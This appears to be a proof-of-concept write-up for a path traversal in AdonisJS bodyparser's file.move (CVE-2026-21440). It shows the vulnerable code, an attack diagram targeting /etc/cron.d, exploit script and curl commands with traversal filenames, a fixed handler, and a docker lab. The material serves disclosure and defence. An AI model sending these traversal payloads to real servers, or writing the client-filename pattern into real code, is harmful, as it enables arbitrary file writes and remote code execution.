// vulnerable code path in @adonisjs/bodyparser
async move(location: string, options?: { name?: string; overwrite?: boolean }): Promise<void> {
  const fileName = options?.name || this.clientName  // ← unsanitized client input
  const filePath = path.join(location, fileName)     // ← path.join allows traversal
  // ...
  await fs.move(this.tmpPath, filePath, { overwrite: options?.overwrite ?? true })
}

┌─────────────────────────────────────────────────────────────────┐
│                         attacker                                 │
└─────────────────────────────────────────────────────────────────┘
                              │
                              │ multipart/form-data
                              │ filename="../../etc/cron.d/pwned"
                              ▼
┌─────────────────────────────────────────────────────────────────┐
│                    vulnerable adonisjs app                       │
│                                                                  │
│   request.file('upload')                                        │
│        │                                                         │
│        ▼                                                         │
│   file.move(app.tmpPath())  ← no sanitized name provided        │
│        │                                                         │
│        ▼                                                         │
│   path.join('/tmp/uploads', '../../etc/cron.d/pwned')           │
│        │                                                         │
│        ▼                                                         │
│   resolves to: /etc/cron.d/pwned                                │
│        │                                                         │
│        ▼                                                         │
│   file written outside upload directory                          │
└─────────────────────────────────────────────────────────────────┘
                              │
                              ▼
                    arbitrary file write
                         → rce via cron
                         → config overwrite
                         → ssh key injection

# navigate to exploit directory
cd Exploit-PoC

# install dependencies
pip install -r requirements.txt

# run exploit
python exploit.py --url http://target:3333/upload --path "../../../tmp/pwned.txt" --content "pwned"

curl -X POST http://target:3333/upload \
  -F "[email protected];filename=../../tmp/pwned.txt"

// ❌ vulnerable - uses client-supplied filename
public async upload({ request, response }: HttpContext) {
  const file = request.file('upload')
  if (file) {
    await file.move(app.tmpPath())  // clientName used as filename
  }
  return response.ok({ message: 'uploaded' })
}

// ✅ secure - generates sanitized filename
import { cuid } from '@adonisjs/core/helpers'
import path from 'node:path'

public async upload({ request, response }: HttpContext) {
  const file = request.file('upload')
  if (file) {
    // generate unique filename with original extension
    const ext = path.extname(file.clientName).toLowerCase()
    const safeName = `${cuid()}${ext}`
    
    await file.move(app.tmpPath(), {
      name: safeName,
      overwrite: false  // prevent overwrites
    })
  }
  return response.ok({ message: 'uploaded' })
}

# clone repository
git clone https://github.com/k0nnect/cve-2026-21440.git
cd cve-2026-21440

# start vulnerable environment
docker-compose up --build

# in another terminal, run exploit
cd Exploit-PoC
python exploit.py --url http://localhost:3333/upload --path "../test.txt"

# verify file was written outside uploads directory
docker-compose exec app cat /app/test.txt